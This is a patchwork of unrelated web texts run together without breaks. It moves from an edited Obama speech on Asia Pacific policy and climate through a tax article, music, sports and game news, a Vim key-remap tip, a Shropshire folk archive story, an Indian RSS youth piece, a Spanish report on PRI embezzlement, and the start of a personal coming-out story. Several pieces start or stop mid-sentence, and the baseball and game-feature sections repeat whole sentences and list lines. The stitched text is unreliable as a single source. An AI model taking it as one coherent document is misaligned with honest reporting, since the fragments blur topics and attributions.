Now as a Pacific power, the United States has invested our blood and treasure to advance this vision.
When I assumed office, leaders and people across the region were expressing their desire for greater American engagement. And so as President, I decided that – given the importance of this region to American security, to American prosperity – the United States would rebalance our foreign policy and play a larger and lasting role in this region. That’s exactly what we’ve done.
Today, our alliances, including with Australia, are stronger than they have ever been. American exports to this region have reached record levels.
We’ve deepened our cooperation with emerging powers and regional organisations, especially in Southeast Asia. We expanded our partnerships with citizens as they’ve worked to bolster their democracies.
And we’ve shown that – whether it’s a tsunami or an earthquake or a typhoon – when our friends are in need, America shows up. We’re there to help.
In good times and bad, you can count on the United States of America.
Now, there have been times when people have been sceptical of this rebalancing. They’re wondering whether America has the staying power to sustain it. And it’s true that in recent years pressing events around the world demand our attention.
As the world’s only superpower, the United States has unique responsibilities that we gladly embrace. We’re leading the international community in the fight to destroy the terrorist group ISIL.
We’re leading in dealing with Ebola in West Africa and in opposing Russia’s aggression against Ukraine – which is a threat to the world, as we saw in the appalling shoot-down of MH17, a tragedy that took so many innocent lives, among them your fellow citizens.
As your ally and friend, America shares the grief of these Australian families, and we share the determination of your nation for justice and accountability. So, yes, we have a range of responsibilities. That’s the deal. It’s a burden we gladly shoulder.
But even in each of these international efforts, some of our strongest partners are our allies and friends in this region, including Australia.
So meeting these other challenges in the world is not a distraction from our engagement in this region, it reinforces our engagement in this region.
Our rebalance is not only about the United States doing more in Asia, it’s also about the Asia Pacific region doing more with us around the world.
So I’m here today to say that American leadership in the Asia Pacific will always be a fundamental focus of my foreign policy. It won’t always make the headlines.
It won’t always be measured in the number of trips I make – although I do keep coming back.
But day in, and day out, steadily, deliberately, we will continue to deepen our engagement using every element of American power – diplomacy, military, economic, development, the power of our values and our ideals.
And here in the Asia Pacific, nobody has more at stake when it comes to thinking about and then acting on climate change.
Here, a climate that increases in temperature will mean more extreme and frequent storms, more flooding, rising seas that submerge Pacific islands.
Here in Australia, it means longer droughts, more wildfires.
The incredible natural glory of the Great Barrier Reef is threatened. Worldwide, this past summer was the hottest on record. No nation is immune, and every nation has a responsibility to do its part.
And you’ll recall at the beginning I said the United States and Australia has a lot in common.
Well, one of the things we have in common is we produce a lot of carbon. Part of it’s this legacy of wide-open spaces and the frontier mentality, and this incredible abundance of resources.
And so, historically, we have not been the most energy-efficient of nations, which means we’ve got to step up.
We can get this done. And it is necessary for us to get it done. Because I have not had time to go to the Great Barrier Reef – and I want to come back, and I want my daughters to be able to come back, and I want them to be able to bring their daughters or sons to visit. And I want that there 50 years from now.
Now, today, I’m announcing that the United States will take another important step.
We are going to contribute $3 billion to the Green Climate Fund so we can help developing nations deal with climate change. But let me say, particularly again to the young people here: Combating climate change cannot be the work of governments alone.
Citizens, especially the next generation, you have to keep raising your voices, because you deserve to live your lives in a world that is cleaner and that is healthier and that is sustainable. But that is not going to happen unless you are heard.
It is in the nature of things that those of us who start getting grey hair are a little set in our ways, that interests are entrenched – not because people are bad people, it’s just that’s how we’ve been doing things.
And we make investments, and companies start depending on certain energy sources, and change is uncomfortable and difficult.
And that’s why it’s so important for the next generation to be able to step in and say, no, it doesn’t have to be this way. You have the power to imagine a new future in a way that some of the older folks don’t always have.
And the same is true when it comes to issues of democracy and human rights. There are times where when we speak out on these issues we are told that democracy is just a Western value.
I fundamentally disagree with that. And so here in Asia and around the world, America supports free and fair elections, because citizens must be free to choose their own leaders.
We support freedom of assembly, and freedom of speech, and freedom of the press, a free and open internet, strong civil societies, because the voices of the people must be heard and leaders must be held accountable – even though it’s uncomfortable sometimes.
We support strong institutions and independent judiciaries and open government, because the rule of force must give way to the rule of law.
And in that same fashion, the United States will continue to stand up for the inherent dignity of every human being. Now, dignity begins with the most basic of needs – a life free of hunger and disease and want.
So, yes, we’ll speak out on behalf of human rights, but we are also going to invest in the agriculture that allows farmers to feed their families and boost their incomes.
We intend to partner with all the countries in the region to create stronger public health systems and new treatments that save lives and realise our goals of being the first AIDS-free generation.
And again, I want to speak to young people about this. When we talk about these issues of development, when we invest in the wellbeing of people on the other side of the globe, when we stand up for freedom, including occasionally having to engage in military actions, we don’t do that just because we are charitable.
We do that because we recognise that we are linked, and that if somebody, some child is stricken with a curable disease on the other side of the world, at some point that could have an impact on our child.
We’ll advance human dignity by standing up for the rights of minorities, because no one’s equality should ever be denied.
We will stand up for freedom of religion – the right of every person to practice their faith as they choose – because we are all children of God, and we are all fallible.
And the notion that we, as a majority, or the state should tell somebody else what to believe with respect to their faith, is against our basic values.
We will stand up for our gay and lesbian fellow citizens, because they need to be treated equally under the law.
We will stand up for the rights and futures of our wives and daughters and partners, because I believe that the best measure of whether a nation is going to be successful is whether they are tapping the talents of their women and treating them as full participants in politics and society and the economy.
And we’re going to continue to invest in the future of this region, and that means you, this region’s youth – all of you – your optimism, your idealism, your hopes.
So that’s the future we can build together. That’s the commitment America is making in the Asia Pacific.
It’s a partnership not just with nations, but with people, with you, for decades to come. Bound by the values we share, guided by the vision we seek, I am absolutely confident we can advance the security and the prosperity and the dignity of people across this region.
And in pursuit of that future, you will have no greater friend than the United States of America.
This is an edited version of Obama’s speech presented by Brisbane’s Courier Mail.Then there is the strategy of “covered call writing,” followed by some cautious investors. An investor who owns, say, 100 shares of I.B.M., sells a call option allowing the purchaser to buy the stock at a fixed price for a certain amount of time. The current law treats the profit or loss on the option as a capital gain or loss, but does not levy any tax on the stock until it is actually sold.
Under the Camp proposal, that would change. When the individual sold the covered call option, that would be treated as being equivalent to the sale of the stock, and capital gains tax would be owed on the difference between the market value at the time and the price the investor paid. While the call option was still open, any gain or loss in the stock would be treated as ordinary income or loss, as would any change in the value of the option.
If that provision became law, covered call writing would probably fade away as a tactic used by individuals, at least when the investor had a gain in the stock before writing the option.
The taxation of bonds bought at a discount on the market would also change. Bonds trade at a discount because their interest rate is below the current market level or because the issuer’s creditworthiness has fallen since the bond was issued.
Right now, “there is a tax benefit to investing in discount bonds as opposed to current-pay bonds with the same yield,” said David C. Garlock, the director of financial services for Ernst & Young’s national tax practice. That is because you do not pay tax on the rise in the bond’s value as it nears maturity, until the bond is sold.
That would change. The unpaid interest would accrue and be taxed each year, just as it is now on zero-coupon bonds. There is a partial exemption for owners of distressed bonds bought at deep discounts, but they would still owe some taxes each year, even if they did not sell the bond.
A change that would affect many investors is a rule that would set the tax basis of securities at the investor’s average cost for that security. Now, investors can, if they choose, use a different basis. So an investor who bought 300 shares of a company over time, at prices of $20, $25 and $30 for each 100-share block, would assert that the first 100 sold was the block bought at the highest price. If the selling price was $35, that would produce a reported capital gain of $5 per share.SCANDAL's "heart-pounding" performances & collaboration MV for a Bourbon 「Fettuccine Gummi」 TV CM unveiled
SCANDAL will appear in a commercial for Bourbon's 『Fettuccine Gummi』. It is their first TV commercial, and it will be televised in order from 2/26.Featuring a tie-in with Bourbon's 『Fettuccine Gummi』 fruit flavors, the CM song uses their new song 「LOVE ME DO」, with lyrics and music by MAMI, from their 7th album 「YELLOW」 that will be releasing on 3/2.Additionally, a short version of its music video has been made public as of today, the 23rd.It's a work that is filled with many "heart-pounding" scenes perfect for the product image of a "heart twinge and a pleasant chewing feeling." Surprising "heart-pounding" scenes that were kept secret from the members until the day of the shoot were each prepared, and the common stages of life each in different situations had the members blushing realistically.The quartet's facial expressions are cut off in the identical scenes where their handkerchiefs are picked up. In their individual scenes HARUNA's arm is pulled and she is saved from danger at a shopping mall, MAMI is praised at a secondhand clothing store, TOMOMI is presented with a handkerchief while taking shelter from the rain, and RINA takes a book into her hand at the same time at a library. It's a production in which you can catch a glimpse of each of their reactions and see a cute side to them that they haven't really shown on stage until now."You don't know each other's pasts well, and you don't know what will happen in the future. But, the two of you loving 「now」 is the most important thing." are the emotions that filled the new song 「LOVE ME DO」's outlook coupled together with a music video that is filled with many first-time challenges that had been a little different until now.STOCKHOLM (Reuters) - The Swedish government has dismissed the board of the Karolinska Institute after an investigation showed it was negligent when hiring surgeon Paolo Macchiarini and letting him operate on patients.
The medical scandal that includes numerous accusations of scientific fraud and the death of patients is a |
be my new development box, but was annoyed to remember that Terminal.app does not play well with the VIM feature, Control + 6 to toggle between two active buffers.
After talking in irc.freenode.com#vim and not getting answers, I Google'd harder and found this StackExchange discussion which explains clearly the issue is that non-standard escape sequences are necessary. The solution is to use Control + Shift + 6. This is annoying and unnecessary with the following fix I discovered after talking with my co-worker Dan Heberden.
Dan recommended I look into keyremap4macbook which turned out to be exactly what was necessary in order to remap. Unfortunately, it's not exactly self-explanatory how to configure custom key sequences.
Easy Fix
Click Misc & Uninstall tab. Click open private.xml and from that Finder window, open in a text editor. Replace the contents of that file with something like:
< root > < item > < name > VIM Fix </ name > < appendix > Change Ctrl+6 to Ctrl+Shift+6 </ appendix > < identifier > vim.owns.whatever.fix </ identifier > < autogen > --KeyToKey-- KeyCode::KEY_6, ModifierFlag::CONTROL_L, KeyCode::KEY_6, ModifierFlag::CONTROL_L | ModifierFlag::SHIFT_L </ autogen > </ item > </ root > Head to the Change Key and click ReloadXML. Click VIM Fix that now shows up in the remapping list.
So yeah, thats all there is to it. Hope this helps others out in the same boat.Here are Monday's minor moves from around the baseball world…
The Orioles announced that they have re-signed left-hander Chris Jones to a minor league deal. Jones, 25, was designated for assignment and released last week in order to clear a spot on the 40-man roster for Nelson Cruz. Jones has a career 3.42 ERA in the minors and limited opposing left-handed hitters to a.196/.291/.268 batting line in 128 plate appearances last season.
announced that they have re-signed left-hander to a minor league deal. Jones, 25, was designated for assignment and released last week in order to clear a spot on the 40-man roster for. Jones has a career 3.42 ERA in the minors and limited opposing left-handed hitters to a.196/.291/.268 batting line in 128 plate appearances last season. Nippon Professional Baseball's Rakuten Golden Eagles have signed right-handers Loek Van Mil and Sergio Mitre, according to a report from Japanese media outlet Sanspo (Japanese link). While the Sanspo report indicates that each signed for $24K, MLBTR has learned that the $24K figure is what Van Mil will earn in the month of March. HIs total 2014 salary is $150K, and his deal contains performance bonuses. Presumably, the $24K is just one month of Mitre's salary as well, which would move him up a few brackets in the NPB payscale bracket that was recently laid out by NPB Tracker's Patrick Newman. Van Mil, a towering 7'1" righty from the Netherlands, was originally a Twins farmhand (Minnesota traded him to the Angels for Brian Fuentes in 2010). The 29-year-old has a career 3.01 ERA at Double-A but has thrown just 21 innings in Triple-A. Mitre hasn't pitched in the Majors since 2011 and has a 5.21 ERA in 454 2/3 Major League innings.
and, according to a report from Japanese media outlet Sanspo (Japanese link). While the Sanspo report indicates that each signed for $24K, MLBTR has learned that the $24K figure is what Van Mil will earn in the month of March. HIs total 2014 salary is $150K, and his deal contains performance bonuses. Presumably, the $24K is just one month of Mitre's salary as well, which would move him up a few brackets in the NPB payscale bracket that was recently laid out by NPB Tracker's Patrick Newman. Van Mil, a towering 7'1" righty from the Netherlands, was originally a Twins farmhand (Minnesota traded him to the Angels for in 2010). The 29-year-old has a career 3.01 ERA at Double-A but has thrown just 21 innings in Triple-A. Mitre hasn't pitched in the Majors since 2011 and has a 5.21 ERA in 454 2/3 Major League innings. As can be seen in MLBTR's DFA Tracker, David Cooper of the Indians is the only player currently in DFA limbo (the Rangers claimed Andy Parrino off waivers from the A's earlier today).Local folk virtuoso John Kirkpatrick, a former BBC 2 Folk Award Winner, has collated 20 songs for the Shropshire Tune Archive, including The Shrewsbury Rakes, General Hill's Favourite and the intriguingly-named Lumps of Pudding, which generates from High Ercall.
The initial 20 tunes will be available to people of all ages so that they can find out more about the culture of Shropshire from years gone.
John, who lives near Bishop's Castle, has recorded and transcribed the 20 dance tunes that will form the basis of an online teaching resource pack including music, notes and short video demonstrations. It will be available to Shropshire schools and others to use in their teaching.
He said: "Trawling through the musical history of Shropshire has unearthed some great music that tells the story of life in our county at different times.
"From a tune that was played as the crowd would process to the Shrewsbury Show in the 1800s to several dance tunes from a carpenter in Newport, there is some wonderful music that will now be preserved forever and shared with a new audience.
"As a musician, it was a privilege to be able to record this material and I hope that the archive will be put to good use for the next generation of Shropshire musicians."
The Shropshire Tune Archive resource pack will be available to download in early 2017. It is part of a wider, £90,000 project led by Shrewsbury Folk Festival called All Together Now that is creating opportunities for musicians, dancers, schoolchildren and communities across Shropshire to get involved in world music and dance.
All Together Now has taken place over the last two years to introduce a new audience to folk and world music. It received an £86,410 investment from the National Lottery through Arts Council England, a £5,000 Arts Development award from Shropshire Council, and £2,000 from Shrewsbury Town Council. The festival met the remaining cost.
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The new Shropshire Tune archive features songs that will resonate with locals.
Mr Kirkpatrick said the first song was called Shrewsbury Quarry. He said: "It is the only dance tune given in Charlotte Burne's book from the 1880s – Shropshire Folk Lore. The tune was played in procession on the way to The Shrewsbury Show, held at Kingsland, and consequently for dancing once all had arrived. The usual name for the tune is La Belle Catherine, and it is included in almost every collection of dance music throughout the nineteenth century.
"Several of the other melodies with place names in the title come from the masses of country dance collections (each dance given with its appropriate tune) that poured off printing presses from the middle of the seventeenth century till the First World War. From these we have The Shropshire Lass (1713), The Shropshire Round (circa 1650), The Shrewsbury Rakes (1756), and Oswestry Wake (1728)."
Other songs in the project have names that feature local towns, people and particular dances that were popular in Shropshire.
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Mr Kirkpatrick added: "Shrewsbury Waltz, The Ironbridge Hornpipe, and Wellington Hornpipe all come from an amazing hand-written manuscript compiled by John Moore, an amateur fiddler who worked as a seedsman and nursery man in Wellington in the 1830s. With about 150 dance tunes included, as well as many sacred pieces, it is a fascinating record of what a working musician was expected to have in readiness.
"William Titley was a carpenter who lived in Pave Lane, near Newport, during the latter part of the nineteenth century, and who played flute, piccolo, and fiddle. He was in great demand for dances, and was frequently summoned to play for a clientele in Shrewsbury who could afford to send a horse and cart to pick him up. Like John Moore, he compiled a book of dance music in his own hand, and from this we have an unnamed polka, now renamed in the compiler's honour as William Titley's Polka, The Victorine Polka, and The Strolling Players."
One of the most exciting tunes hails from more recent times. Lumps of Pudding comes from an article in The English Folk Dance and Song Society's Journal from the early 1930s, with a very detailed account of a dance on the village green at High Ercall in 1686. An extremely long and complicated dance, for six in a set, is described, with different tunes being used at different moments during the dancing.
Mr Kirkpatrick said: "This is the only tune given in the article, as the others were "not of the slightest interest".
Mr Kirkpartrick added other tunes have come from Dennis Crowther – The Clee Hill Poet – who was a popular and locally much loved entertainer, singer, and musician. He said: "As a boy between the wars he had gone round with the village gang bashing out a few tunes to earn some extra coppers for Christmas. As long as you could play the tunes, there was no need for titles! Hence Dennis Crowther's No. 2 and Dennis Crowther's No.3. Fascinatingly, the original of Dennis' No 3 turns out to be called The Moldavian Schottische, and is included in William Titley's tune book."
Mr Kirkpatrick is one of the most prolific and respected figures on the English folk scene, known for performing solo and with groups including The Albion Band, Steeleye Span and Brass Monkey.August 19, 2014 09:13 IST
This doesn't mean the Sangh will do away with its trademark khakhi shorts, white shirt and black cap, or its core shakha-setup.
Imagine a Rashtriya Swayamsevak Sangh (RSS) office-bearer sporting a ponytail, goggles and a pair of Nike shoes. Clad in cargo shorts, he hums a Rolling Stones' number. This is no figment of imagination, but is for real.
A few years ago, such "deviations towards Western culture" would have been frowned upon by puritans in the Sangh, which swears by swadeshi and sanskriti. This doesn't mean the Sangh will do away with its trademark khakhi shorts, white shirt and black cap, or its core shakha-setup.
As the Communist Party of India (Marxist) or CPI(M) brainstorms over how to attract a new generation, the RSS has stolen a march over its ideological rival.
In an out-of-the-box initiative to reach out to the youth, Vikas Bhagwat, the vibhag karyavah (zonal secretary) of Goregaon, Maharashtra, launched Gen Next as a pilot experiment in Mumbai.
"The project is such a big success that it has been accepted as a Sangh Parivar organisation. Now, this experiment will be replicated in other metros," said Shreerang Kulkarni, media and publicity pramukh, Akhil Bharatiya Vidyarthi Parishad.
Although the RSS has made huge inroads into the information technology sector with cyber shakhas or IT Milan-whose volunteers clogged the cyberspace during the general elections with Bharatiya Janata Party and Narendra Modi messages-it felt the reach was limited to only professionals in that sector.
"Even in Sangh families, the first two generations were associated with us naturally but the new generation was moving away. We realised we need to talk to them in their language, otherwise we will lose them," said a Sangh functionary.
Although RSS training starts in pre-adolescence, attracting a new generation for shakhas was a major challenge for the organisation because of the "compulsions of modern life in urban areas".
The first thing that the Gen Next did was de-mystify the highly-Sanksritised terminology used in the Sangh.
"We overhauled our approach. Some of them came to us and told us 'we can't wear those khakhi shorts.' We said okay. In Gen Next, we don't use Sanskrit words such as ekatrikaran (get together), baithak (meeting) or sahal (picnic). We use their English equivalents. There is no dress code: even girls can attend Gen Next meetings in shorts, skirts or jeans, which is unthinkable in the Sangh," said the functionary quoted above.
However, many Sangh leaders are not convinced. They think the shakha should be the mainstay of the Sangh and youngsters should be encouraged to attend it.
"Gen Next is now a collection of youngsters. It has no definite character. It has to evolve," said Pramod Bapat, a functionary associated with the publicity department of the RSS.
In their meetings, Gen Next volunteers discuss issues concerning the youth, nation and polity. Recently, at its meeting in Mumbai, presided over by RSS Sah Sarkaryavah (joint general secretary) Dattatreya Hosabale and attended by about 700 youths, the topic was Facebook. Hosabale was impressed by the response and questions posed by the participants.
"It is not that they discuss only frivolous issues. They take up national issues, including Article 370. Without reluctance, they would stand outside Metro stations and distribute pamphlets on Article 370. They have boundless energy; we want to channel it for the national cause," said Kulkarni.Welkin Road is a new game from developer Gregor Panič which is coming to Steam Early Access on 13 April.
The game will take players into a minimalist skyscape where they’ll need to use parkour and grappling hook skills to reach the pillar of light. The trick to success will be mastering the parkour jumps and the two grapple hooks which can be used to generate momentum to help perform “incredible, high-altitude, acrobatic stunts”. Running, balance, leaping and wall running will all play a part in making it through the levels.
The game comes with a single player mode and an against the clock mode in which players can try and beat each other’s times.
There’s some similarities in look to Mirror’s Edge, albeit not quite as complex, but that could be its charm.
Welkin Road Main features:
Grappling hooks: With full control over two grappling hooks you can chain swings together and use your momentum for fluid, elegant movement.
With full control over two grappling hooks you can chain swings together and use your momentum for fluid, elegant movement. Parkour: Use wall running, wall jumping, crouching and wall grappling to overcome obstacles and find the best route to the pillar of light.
Use wall running, wall jumping, crouching and wall grappling to overcome obstacles and find the best route to the pillar of light. Different grappling mechanics: The game is full of different types of grappling mechanics which will impact the way you move and solve puzzles.
The game is full of different types of grappling mechanics which will impact the way you move and solve puzzles. Challenges and puzzles: Levels require you to master swinging, movement, various abilities and to discover new ways to use and combine them.
Levels require you to master swinging, movement, various abilities and to discover new ways to use and combine them. Speedrun mode: Race against the clock or try to beat the times of other runners around the world, and compete for a spot on the leaderboards.
Race against the clock or try to beat the times of other runners around the world, and compete for a spot on the leaderboards. Intelligent checkpoints: Frequent checkpoints and manual resets mean you can get back into the action as fast as possible. This allows you to practice sections and master an entire level without having to constantly restart. Improve on sections, find the most efficient route and set the best time.
Frequent checkpoints and manual resets mean you can get back into the action as fast as possible. This allows you to practice sections and master an entire level without having to constantly restart. Improve on sections, find the most efficient route and set the best time. Official website
System Requirements
MINIMUM:
OS: Windows XP SP2
Windows XP SP2
Processor: Intel Core 2 Q6600
Intel Core 2 Q6600
Memory: 4 GB RAM
4 GB RAM
Graphics: GeForce GTX 275
GeForce GTX 275
DirectX: Version 9.0
Version 9.0
Storage: 4 GB available space
4 GB available space
Additional Notes: Adjust settings to get an acceptable framerate.Star Wars and Star Trek. Two of the biggest sci-fi franchises ever. And for decades, the debate has raged among fans as to which is best.
It also provided us with a hilarious debate between William Shatner, aka Capt. Kirk, and Carrie Fisher, aka Princess Leia, as to which franchise is best, a debate that was started here. At one point, even George Takei took part in this heated exchange.
Now that J.J. Abrams, the man who’s managed to breathe some much-needed new life into the Star Trek franchise, is also poised to pull some heavy duties for Star Wars: Episode VII, the debate rages on hotter than ever.
Still, Star Wars vs. Star Trek, who is the winner?
Below is a fascinating new infographic that pits the two mighty spacefaring franchises against each other.
The criteria used? Well, we have number of films for each franchise, box-office gross, live-action series and animated series, the number of Academy, Grammy and Emmy Awards each franchise has managed to win, as well as videogames, books (So. Many. Books.), toys (George Lucas would be so proud) and … social media followers!
Have a look:
(via Trek News)This was my first exchange ever and I had so much fun! My match picked some of the most awesome stuff for me :) I didn't expect to get it so quickly as I knew it was coming from the other side of the country so I was pleasantly surprised to find a box on my doorstep today. When I opened it I squeeeeed with delight! I am a very geeky culinary student and both of my gifts just nailed that on the head. The first thing I saw when I opened the box was a pair of wibblywobbly Doctor Who Tardis Gelatin and cake molds. I collect geeky silicone molds and these will be happily used with my Star Wars, Evangelion and other molds. I may even use them for chocolates! The other item was a new cookbook to add to my ever expanding collections. It's called Japanese Soul Cooking and includes recipes for some of my very favorite foods, some in styles I have never had before. I am eager to try just about everything in it and I have a feeling it is going to quickly become one of my most used books. Thank you whoever you are!3 of 4
Mark Thompson/Getty Images
To find out why countries with relatively small populations tend to produce so many good drivers, we must look into what kind of opportunities are being made available for the talent of tomorrow.
The universal starting point for all youngsters learning to drive is karting. It’s an extremely accessible hobby with most of the already mentioned countries providing numerous karting centres within easy reach of almost any location.
What appears to make karting a more popular pursuit in Finland is that F1 rivals Ice Hockey in terms of media coverage of the sport according to Wikipedia. It means that many children growing up want to follow in the footsteps of Kimi Raikkonen wheras in Britain there are many more distractions such as football, golf, cricket and rugby.
For those youngsters talented enough and lucky enough to be blessed with sponsorship or family funding, the next step is to rise through the ranks of the junior formulae. That’s where countries such as England, France and Germany have the advantage.
Future champions Ayrton Senna and Jenson Button made their first step on the ladder to F1 superstardom in the British Formula Ford Championship whilst both Renault and BMW supply feeder championships on national race circuits before drivers progress to the wider European championships, notably the Formula Renault 3.5 Series, GP3 and GP2.
Brazil is also notable for churning out super-talented drivers and world champions despite the country’s obvious passion for football and massive population. There is also a huge discrepancy between the classes with football the game for the masses and motorsport the domain of the wealthy, those lucky sponsored few jetting off to Europe to hone their skills.
Italy appears to be a bit of an anomaly here. Despite having the most iconic and successful team in motorsport, the country has failed to produce world-quality drivers of decent stature since the 1950s. A lack of junior formula series could be a contributing factor as well as football being the sport that consumes the passions of youngsters in the country.
Add to that the recent financial crisis in Italy and sponsors have simply not been willing or able to back any talented young drivers had they appeared on the radar.
Ferrari have recently made steps to redress this balance by inducting young Italian drivers into the Ferrari Driver Academy.Continue reading the main story Foto
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CHIHUAHUA, México — Un exdirectivo del partido del presidente Enrique Peña Nieto fue arrestado como parte de una investigación sobre el uso ilegal del dinero público para impulsar las campañas de su partido en las elecciones mexicanas del año pasado, anunciaron este miércoles los funcionarios estatales.
El exdirectivo, Alejandro Gutiérrez, es uno de los aliados del presidente mexicano que están bajo sospecha de participar en un esquema de malversación para impulsar las posibilidades de su partido en un momento de profunda insatisfacción con el gobierno, de acuerdo con exfuncionarios vinculados al plan y cientos de páginas de documentos revisados por The New York Times.
El arresto de Gutiérrez, un veterano político que en ese momento era el secretario del Comité Ejecutivo Nacional del Partido Revolucionario Institucional (PRI), es parte de una investigación cada vez más amplia sobre la enorme corrupción sucedida bajo el mandato del anterior gobernador del estado de Chihuahua. El gobernador era un amigo cercano del presidente de México y una estrella en ascenso del PRI antes de que huyera a Estados Unidos para evitar los cargos de corrupción.
El caso en su contra ha afectado a media docena de exfuncionarios del estado; algunos ya están cooperando con las autoridades.
Pero la investigación se está extendiendo y amenaza con llegar a los cargos más altos del gobierno, según el testimonio de los exfuncionarios del estado y los registros financieros revisados por The New York Times.
Gutiérrez está siendo investigado en relación a lo que los exfuncionarios definen como un plan nacional para canalizar decenas de millones de dólares del dinero público para ayudar a los candidatos del PRI en las elecciones para gobernador de 2016.
El dinero se envió a estados con gobernadores cercanos dentro del partido. Luego, esos funcionarios crearon una serie de contratos gubernamentales con compañías falsas que finalmente devolvieron el dinero para que fuera usado en las campañas, según el testimonio y los registros consultados.
En ese momento, los principales funcionarios del PRI estaban preocupados por perder las elecciones estatales en junio de 2016. Los exfuncionarios estatales dicen que el patrón de malversación de fondos para financiar las elecciones se produjo en varios estados donde el PRI temía perder el control.
Los documentos revisados por The New York Times se centran en gran medida en el esquema de malversación en Chihuahua. Según los registros, millones de dólares del gobierno federal fueron transferidos en enero de 2016 al estado con el propósito de ser utilizados en el sector educativo.
Luego, el dinero se desvió a cuatro compañías utilizadas para malversar los fondos, un negocio que el auditor fiscal del país ha incluido en la lista negra por ser empresas falsas, según los contratos gubernamentales revisados por este diario.
Esas compañías, supuestamente contratadas por el estado de Chihuahua para proporcionar servicios educativos, recibieron casi 14 millones de dólares en sus cuentas, según los contratos y los registros bancarios que muestran que el dinero se había recibido.
Pero las empresas no proporcionaron esos servicios, según las declaraciones juradas de los actuales funcionarios de educación del estado. En cambio, el dinero se convirtió en efectivo y se devolvió al PRI para que fuera utilizado en las campañas electorales, según los antiguos funcionarios del estado vinculados al plan.
Uno de esos funcionarios llamado Ricardo Yáñez, el exsecretario de Educación de Chihuahua, describió la trama en un documento de sentencia. Yáñez está cumpliendo una sentencia de prisión de cuatro años.
Sin embargo, no todo el dinero se destinó a fines políticos.
Alrededor de 230.000 dólares se depositaron directamente en una cuenta comercial operada por Gutiérrez, el exsecretario del PRI, según los registros bancarios y las declaraciones de los testigos.
La red de pagos sugiere un vínculo entre el esquema de malversación y los líderes nacionales del partido.
Los contratos y los registros bancarios muestran que millones de dólares se destinaron a algunas de las mismas empresas falsas, o empresas conectadas a ellas en los estados de Sonora y Durango. Los registros bancarios también muestran cientos de miles de dólares en depósitos a algunas de las compañías por parte del estado de Colima. Y en su testimonio, los exfuncionarios relacionados con este esquema dijeron que también se realizó en los estados de Veracruz y Tamaulipas.
Los funcionarios de Veracruz no respondieron a las repetidas solicitudes de declaraciones. Y el actual gobernador de Tamaulipas, un político de la oposición que ganó su cargo durante las elecciones de 2016, dijo que una investigación de sus funcionarios no encontró ningún contrato con las cuatro principales compañías falsas.
Continue reading the main story Foto
Aún no está claro quién más pudo haber participado en el plan. En el documento de sentencia, Yáñez, el ministro de Educación estatal que ya fue declarado culpable, es citado diciendo que tanto Gutiérrez como el exgobernador de Chihuahua, César Duarte, le dijeron que el dinero había sido enviado por el gobierno federal para financiar las campañas electorales del partido. Afirmó que le dijeron que el mismo plan se había realizado en varios estados.
Duarte huyó a Estados Unidos donde está evadiendo los cargos federales y estatales de corrupción, incluidas las acusaciones de que robó más de 300 millones de dólares durante su gestión en el estado.
La hija de Duarte es ciudadana estadounidense y, de acuerdo con los documentos legales revisados por The New York Times, el exgobernador solicitó una tarjeta de residencia permanente.
Se cree que Duarte vive en Texas y Nuevo México. Los intentos por contactarlo por teléfono y a través de visitas a diez propiedades que presuntamente son suyas en El Paso y sus alrededores fueron infructuosos.
El jefe del partido de Peña Nieto en el momento del plan de financiamiento de la campaña, Manlio Fabio Beltrones, es aliado desde hace mucho tiempo del presidente y su familia.
Beltrones también es mencionado en el documento de sentencia. Yáñez dijo que el exgobernador le dijo que Beltrones había ideado el plan. Los intentos por contactar a Beltrones el miércoles no tuvieron éxito.
En el documento, Yáñez dijo que se reunió con Gutiérrez, el exdiputado del PRI, y otros funcionarios en la sede del partido en Ciudad de México. En ese momento, el PRI ya había perdido las elecciones y la mentalidad de los participantes cambió a disminuir los daños.
Los casos de la campaña son parte de una amplia investigación en curso en Chihuahua, donde el nuevo gobernador, Javier Corral, le ha encargado a su fiscal general que investigue la corrupción.
El margen de maniobra que Corral ha otorgado a los fiscales es raro en México, donde las investigaciones muy pocas veces se inician y, si se permiten, raramente llegan más allá de los de los funcionarios de bajo nivel.
A lo largo de los meses, los fiscales han trabajado lentamente en una lista de exfuncionarios que sirvieron en el gobierno del anterior gobernador, Duarte, y los presionaron para que cooperaran.
En enero de 2016, el estado de Chihuahua enfrentaba problemas financieros y necesitaba ayuda para hacer la nómina. Jaime Herrera, el exsecretario de Finanzas del estado durante la gestión de Duarte, necesitaba casi 16 millones de dólares para aliviar la tensión financiera.
Dos días después, en un contrato de siete páginas, la Secretaría de Hacienda y Crédito Público aceptó el pedido. De acuerdo con la oficina del gobernador, un cambio de dos días para una solicitud tan grande fue una decisión asombrosamente rápida.
Pero el motivo de la transferencia, de acuerdo con los antiguos funcionarios estatales, era un engaño. Según ellos, Gutiérrez, el exdirectivo del PRI, había llamado a funcionarios en Chihuahua para que le pidieran el dinero a los funcionarios federales, según el testimonio.
La operación, explicaron los funcionarios del estado, era una forma compleja y probada de malversar fondos. A los funcionarios se les dieron los nombres de cuatro compañías que supuestamente le proporcionarían servicios educativos al estado: se trataba de las empresas falsas desde las cuales los miembros del partido podían desviar el dinero.
Una compañía recibió alrededor de 5,2 millones de dólares por vender el software estatal de recursos humanos. A otras tres empresas se les pagaron millones por servicios de capacitación y educación, según los contratos revisados por The New York Times.
De acuerdo con especialistas en contrataciones, los montos pagados por el estado eran astronómicamente altos por los servicios que brindaban.
Los pagos se movieron rápidamente. A fines de febrero, los contratos habían sido redactados y firmados por los funcionarios del estado, y en abril los cheques fueron enviados a cada una de las compañías.
De los aproximadamente 15,8 millones de dólares enviados al estado por el gobierno federal, el partido solo solicitó que se le devolvieran 14,4 millones de dólares, según el testimonio de los funcionarios estatales. El resto, dijeron, se podría gastar como quisieran los funcionarios del estado.
De cada una de las compañías, el dinero fue transferido a docenas de otras compañías, varias de las cuales también aparecen en la lista negra de empresas falsas de las autoridades tributarias nacionales, según los documentos.
A partir de ahí, el dinero desapareció. La única pista sobre adónde fueron a parar esos recursos se encuentra en el testimonio de los dos exfuncionarios del estado, a quienes los miembros del partido les dijeron que el dinero se gastó en el financiamiento de la campaña."Frank, there's something I wanted to tell you tonight. I'm gay."
Sitting across the table from my friend Bart, I quickly glanced from my food to his face, almost as if by reflex. "What?" I uttered without thought.
"This last year has been really hard for me. After having my first experience with a guy, as confusing and heartwrenching as that was, I've realized that I am attracted to men. I broke up with Sarah a few weeks ago."
"Are you sure it's not just a phase?" dark words I still wish I could take back.
"Truthfully, I don't know." As we paused a moment to let both our meals and thoughts digest, I realized that Bart has just become the first of what would be several of my friends to come out me.
